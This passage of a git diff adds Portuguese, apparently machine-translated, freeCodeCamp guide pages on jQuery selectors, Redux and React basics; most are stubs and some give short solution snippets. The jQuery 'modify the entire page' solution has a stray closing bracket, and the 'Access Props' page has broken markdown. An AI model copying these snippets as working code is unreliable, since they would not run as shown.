new file mode 100644
index 0000000000..2cdc9eb0c9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md
@@ -0,0 +1,9 @@
+---
+title: Delete Your jQuery Functions
+localeTitle: Excluir suas funções do jQuery
+---
+## Excluir suas funções do jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/delete-your-jquery-functions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..49e32130f2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Disable an Element Using jQuery
+localeTitle: Desativar um elemento usando jQuery
+---
+## Desativar um elemento usando jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/disable-an-element-using-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/index.md
new file mode 100644
index 0000000000..e61c72ff17
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/index.md
@@ -0,0 +1,11 @@
+---
+title: jQuery
+localeTitle: jQuery
+---
+## jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md
new file mode 100644
index 0000000000..ec6698f9e1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn How Script Tags and Document Ready Work
+localeTitle: Aprenda como as tags de script e o trabalho pronto para documentos
+---
+## Aprenda como as tags de script e o trabalho pronto para documentos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/learn-how-script-tags-and-document-ready-work/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..836ca6f2bf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove an Element Using jQuery
+localeTitle: Remover um elemento usando jQuery
+---
+## Remover um elemento usando jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/remove-an-element-using-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md
new file mode 100644
index 0000000000..00cde3ba2d
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Remove Classes from an Element with jQuery
+localeTitle: Remover classes de um elemento com jQuery
+---
+## Remover classes de um elemento com jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/remove-classes-from-an-element-with-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..7432fd0a31
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target a Specific Child of an Element Using jQuery
+localeTitle: Segmentar um filho específico de um elemento usando jQuery
+---
+## Segmentar um filho específico de um elemento usando jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-a-specific-child-of-an-element-using-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md
new file mode 100644
index 0000000000..a5780a921c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-elements-by-class-using-jquery/index.md
@@ -0,0 +1,20 @@
+---
+title: Target Elements by Class Using jQuery
+localeTitle: Elementos de destino por classe usando jQuery
+---
+## Elementos de destino por classe usando jQuery
+
+*   Você pode encontrar elementos com o seletor de classe jQuery. // $ (. className)
+*   Neste exemplo, permite selecionar elementos com a classe ".well"
+
+## Solução
+
+```javascript
+<script> 
+  $(document).ready(function() { 
+    $(".well").addClass("animated bounce"); 
+    $(".well").addClass("shake"); 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md
new file mode 100644
index 0000000000..3890d4ff73
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-elements-by-id-using-jquery/index.md
@@ -0,0 +1,18 @@
+---
+title: Target Elements by id Using jQuery
+localeTitle: Elementos de destino por id usando jQuery
+---
+## Elementos de destino por id usando jQuery
+
+## Solução
+
+```javascript
+<script> 
+  $(document).ready(function() { 
+    $("button").addClass("animated bounce"); 
+    $(".well").addClass("animated shake"); 
+    $("#target3").addClass("fadeOut"); // Target elements with the id "target3" and add the class "fadeOut" to them. 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md
new file mode 100644
index 0000000000..87f10feb57
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target Even Elements Using jQuery
+localeTitle: Alvo mesmo elementos usando jQuery
+---
+## Alvo mesmo elementos usando jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-even-elements-using-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md
new file mode 100644
index 0000000000..7705ca40e2
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-html-elements-with-selectors-using-jquery/index.md
@@ -0,0 +1,29 @@
+---
+title: Target HTML Elements with Selectors Using jQuery
+localeTitle: Alvo de elementos HTML com seletores usando jQuery
+---
+*   Os seletores JQuery permitem selecionar e manipular elementos HTML.
+*   Esses seletores começam com o cifrão e parênteses: $ ()
+*   Você pode "encontrar" (ou selecionar) elementos HTML com base em seus nomes, id, classes, tipos, atributos, valores de atributos e muito mais.
+
+## Exemplo
+
+```javascipt
+//You can select all <p> elements on a page like this  =  $("p") 
+  $(document).ready(function(){ 
+    $("button").click(function(){ 
+        $("p").hide(); 
+    }); 
+ }); 
+```
+
+## Solução
+
+```javascript
+<script> 
+  $(document).ready(function() { 
+      $("button").addClass("animated bounce"); // We are selecting the button elements and adding "animated bounce" class to them. 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..c90d2943c3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Target the Children of an Element Using jQuery
+localeTitle: Segmente os filhos de um elemento usando jQuery
+---
+## Segmente os filhos de um elemento usando jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/target-the-children-of-an-element-using-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md
new file mode 100644
index 0000000000..c37e0f591e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-parent-of-an-element-using-jquery/index.md
@@ -0,0 +1,16 @@
+---
+title: Target the Parent of an Element Using jQuery
+localeTitle: Segmentar o pai de um elemento usando jQuery
+---
+## Segmentar o pai de um elemento usando jQuery
+
+## Solução
+
+```js
+<script> 
+  $(document).ready(function() { 
+    $("#target1").parent().css("background-color", "red"); // Selects the parent of #target1 and changes its background-color to red 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md
new file mode 100644
index 0000000000..fa41c28f83
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/target-the-same-element-with-multiple-jquery-selectors/index.md
@@ -0,0 +1,18 @@
+---
+title: Target the Same Element with Multiple jQuery Selectors
+localeTitle: Segmente o mesmo elemento com vários seletores jQuery
+---
+## Segmente o mesmo elemento com vários seletores jQuery
+
+## Solução
+
+```javascript
+<script> 
+  $(document).ready(function() { 
+    $("button").addClass("animated"); // Target elements with type "button" and add the class "animated" to them. 
+    $(".btn").addClass("shake"); // Target elements with class ".btn" and add the class "shake" to them. 
+    $("#target1").addClass("btn-primary"); // Target elements with id "#target1" and add the class "btn-primary" to them. 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md
new file mode 100644
index 0000000000..4db9f3187f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md
@@ -0,0 +1,9 @@
+---
+title: Use appendTo to Move Elements with jQuery
+localeTitle: Use appendTo para mover elementos com jQuery
+---
+## Use appendTo para mover elementos com jQuery
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/jquery/use-appendto-to-move-elements-with-jquery/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md
new file mode 100644
index 0000000000..7baf05f4fb
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/jquery/use-jquery-to-modify-the-entire-page/index.md
@@ -0,0 +1,23 @@
+---
+title: Use jQuery to Modify the Entire Page
+localeTitle: Use jQuery para modificar a página inteira
+---
+## Use jQuery para modificar a página inteira
+
+### Explicação do Problema
+
+Adicione as classes `animated` e `hinge` ao elemento do `body` .
+
+#### Links Relevantes:
+
+*   [.addClass ()](https://api.jquery.com/addClass/e)
+
+### Solução:
+
+```javascript
+<script> 
+  $("body").addClass("animated hinge"); 
+  }); 
+ </script> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md
new file mode 100644
index 0000000000..ea45ecd92e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md
@@ -0,0 +1,9 @@
+---
+title: Connect Redux to React
+localeTitle: Conecte o Redux para Reagir
+---
+## Conecte o Redux para Reagir
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/connect-redux-to-react/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md
new file mode 100644
index 0000000000..8720538e12
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md
@@ -0,0 +1,9 @@
+---
+title: Connect Redux to the Messages App
+localeTitle: Conecte o Redux ao aplicativo de mensagens
+---
+## Conecte o Redux ao aplicativo de mensagens
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/connect-redux-to-the-messages-app/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md
new file mode 100644
index 0000000000..a2b84982a1
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Extract Local State into Redux
+localeTitle: Extrair o estado local no Redux
+---
+## Extrair o estado local no Redux
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/extract-local-state-into-redux/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md
new file mode 100644
index 0000000000..5897a112b6
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md
@@ -0,0 +1,37 @@
+---
+title: Extract State Logic to Redux
+localeTitle: Extraia a lógica de estado para Redux
+---
+## Extraia a lógica de estado para Redux
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/extract-state-logic-to-redux/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+Solução sugerida:
+
+```javascript
+const ADD = 'ADD'; 
+ 
+ function addMessage(message) { 
+  return { 
+    type: ADD, 
+    message: message 
+  }; 
+ }; 
+ 
+ function messageReducer (previousState, action) { 
+  return [...previousState, action.message]; 
+ } 
+ 
+ let store = { 
+  state: [], 
+  getState: () => store.state, 
+  dispatch: (action) => { 
+    if (action.type === ADD) { 
+      store.state = messageReducer(store.state, action); 
+    } 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md
new file mode 100644
index 0000000000..7ca56fed44
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md
@@ -0,0 +1,9 @@
+---
+title: Getting Started with React Redux
+localeTitle: Começando com o React Redux
+---
+## Começando com o React Redux
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/getting-started-with-react-redux/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/index.md
new file mode 100644
index 0000000000..362f519daf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/index.md
@@ -0,0 +1,11 @@
+---
+title: React and Redux
+localeTitle: Reagir e Redux
+---
+## Reagir e Redux
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md
new file mode 100644
index 0000000000..ce740ddf89
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md
@@ -0,0 +1,9 @@
+---
+title: Manage State Locally First
+localeTitle: Gerenciar Estado Localmente Primeiro
+---
+## Gerenciar Estado Localmente Primeiro
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/manage-state-locally-first/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md
new file mode 100644
index 0000000000..01d861715b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md
@@ -0,0 +1,9 @@
+---
+title: Map Dispatch to Props
+localeTitle: Despacho do Mapa para Adereços
+---
+## Despacho do Mapa para Adereços
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/map-dispatch-to-props/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md
new file mode 100644
index 0000000000..01da8ab961
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md
@@ -0,0 +1,9 @@
+---
+title: Map State to Props
+localeTitle: Mapa do estado para adereços
+---
+## Mapa do estado para adereços
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/map-state-to-props/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md
new file mode 100644
index 0000000000..693eff2956
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md
@@ -0,0 +1,9 @@
+---
+title: Moving Forward From Here
+localeTitle: Avançando daqui
+---
+## Avançando daqui
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/moving-forward-from-here/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md
new file mode 100644
index 0000000000..dd91aafd02
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md
@@ -0,0 +1,9 @@
+---
+title: Use Provider to Connect Redux to React
+localeTitle: Use o provedor para conectar o Redux para reagir
+---
+## Use o provedor para conectar o Redux para reagir
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react-and-redux/use-provider-to-connect-redux-to-react/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/access-props-using-this-props/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/access-props-using-this-props/index.md
new file mode 100644
index 0000000000..3cd4a31b96
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/access-props-using-this-props/index.md
@@ -0,0 +1,18 @@
+---
+title: Access Props Using this.props
+localeTitle: Adereços de acesso usando this.props
+---
+## \## Adereços de acesso usando this.props
+
+Para esta solução, você precisa lembrar primeiro como adicionar props ao seu componente pai:
+
+\`\` \`JSX
+```
+Once you have the prop set, you can use this.props in your child component. 
+```
+
+html
+
+Sua senha temporária é: **{this.props.tempPassword}**
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/add-comments-in-jsx/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/add-comments-in-jsx/index.md
new file mode 100644
index 0000000000..89f24ffa34
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/add-comments-in-jsx/index.md
@@ -0,0 +1,30 @@
+---
+title: Add Comments in JSX
+localeTitle: Adicionar comentários no JSX
+---
+## Adicionar comentários no JSX
+
+Você pode comentar como costumava fazer com blocos de código em Javascript `/* some JS code */` mas eles precisam ser agrupados por chaves para adicionar comentários no JSX: Por exemplo:
+
+*   Comentário de linha única:
+
+```jsx
+{/*<h1>Hanoi University of Science</h1>*/} 
+```
+
+*   Comentários multilinha:
+
+```jsx
+{/* 
+ <h1>Hanoi University of Science</h1> 
+ <p>Falculty of Mathematics, Mechanics and Informatics</p> 
+ */} 
+```
+
+Aviso: Você não pode usar comentários HTML no JSX assim:
+
+```html
+
+<!-- not working --> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/add-event-listeners/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/add-event-listeners/index.md
new file mode 100644
index 0000000000..8ce8921277
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/add-event-listeners/index.md
@@ -0,0 +1,53 @@
+---
+title: Add Event Listeners
+localeTitle: Adicionar ouvintes de eventos
+---
+## Adicionar ouvintes de eventos
+
+Este desafio tem você modificando dois métodos de ciclo de vida componentDidMount e componentWillUnmount. Você usa componentDidMount quando deseja configurar algo, no seu caso, um ouvinte de evento. Você usa componentWillUnmount quando precisa limpar algo, seu ouvinte de evento.
+
+Você adicionará um ouvinte de evento ao método componentDidMount que ouvirá um evento "keydown". Use document.addEventListener (evento, função, opcional (useCapture)). Em seguida, remova esse mesmo ouvinte de evento passando os mesmos argumentos para document.removeEventListener (event, function, optional (useCapture)) dentro do método componentWillUnmount.
+
+Nota: document.addEventListener e document.removeEventListener receberão uma string entre aspas para seu evento e, ao passar para a função, você referenciará a função handleKeyPress () como this.handleKeyPress. Se você chamar a função como this.handleKeyPress (), o ouvinte de eventos avaliará a função primeiro e retornará um valor de indefinido.
+
+```javascript
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      message: '' 
+    }; 
+    this.handleEnter = this.handleEnter.bind(this); 
+    this.handleKeyPress = this.handleKeyPress.bind(this); 
+  } 
+  // change code below this line 
+  componentDidMount() { 
+    document.addEventListener("keydown", this.handleKeyPress) 
+  } 
+  componentWillUnmount() { 
+    document.removeEventListener("keydown", this.handleKeyPress) 
+  } 
+  // change code above this line 
+  handleEnter() { 
+    this.setState({ 
+      message: this.state.message + 'You pressed the enter key! ' 
+    }); 
+  } 
+  handleKeyPress(event) { 
+    if (event.keyCode === 13) { 
+      this.handleEnter(); 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h1>{this.state.message}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+### Recursos
+
+[Reagir Componentes](https://reactjs.org/docs/react-component.html) , [Ciclos de Vida Comuns](http://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/) , [Estado e Ciclos de Vida](https://reactjs.org/docs/state-and-lifecycle.html) , [document.addEventListener](https://www.w3schools.com/jsref/met_document_addeventlistener.asp) , [Eventos HTML DOM](https://www.w3schools.com/jsref/dom_obj_event.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md
new file mode 100644
index 0000000000..f8ee66c5cc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/add-inline-styles-in-react/index.md
@@ -0,0 +1,25 @@
+---
+title: Add Inline Styles in React
+localeTitle: Adicionar estilos inline em React
+---
+## Adicionar estilos inline em React
+
+Você pode declarar um estilo de componente passando o objeto diretamente como prop 'style'. Basta lembrar que cada propriedade do objeto de estilo é camelcased. Portanto, propriedades como 'font-size' são declaradas como 'fontSize' como uma propriedade de objeto javascript válida.
+
+### Spoiler
+
+```jsx
+class Colorful extends React.Component { 
+  render() { 
+    // change code below this line 
+    return ( 
+      <div style={{color: "yellow", fontSize: 24}}>Style Me!</div> 
+    ); 
+    // change code above this line 
+  } 
+ }; 
+```
+
+### Recursos
+
+[Estilo Elementos DOM](https://reactjs.org/docs/dom-elements.html#style)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md
new file mode 100644
index 0000000000..3295ff4bb8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/bind-this-to-a-class-method/index.md
@@ -0,0 +1,55 @@
+---
+title: Bind 'this' to a Class Method
+localeTitle: Vincule 'this' a um método de classe
+---
+## Vincule 'this' a um método de classe
+
+Se um método na `class` JavaScript precisar acessar algum `state` interno da instância, como `this.state` , o método precisará estar vinculado à instância da `class` . Uma descrição mais detalhada da ligação 'this' pode ser encontrada [aqui](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20%26%20object%20prototypes/ch2.md)
+
+### Sugestão 1
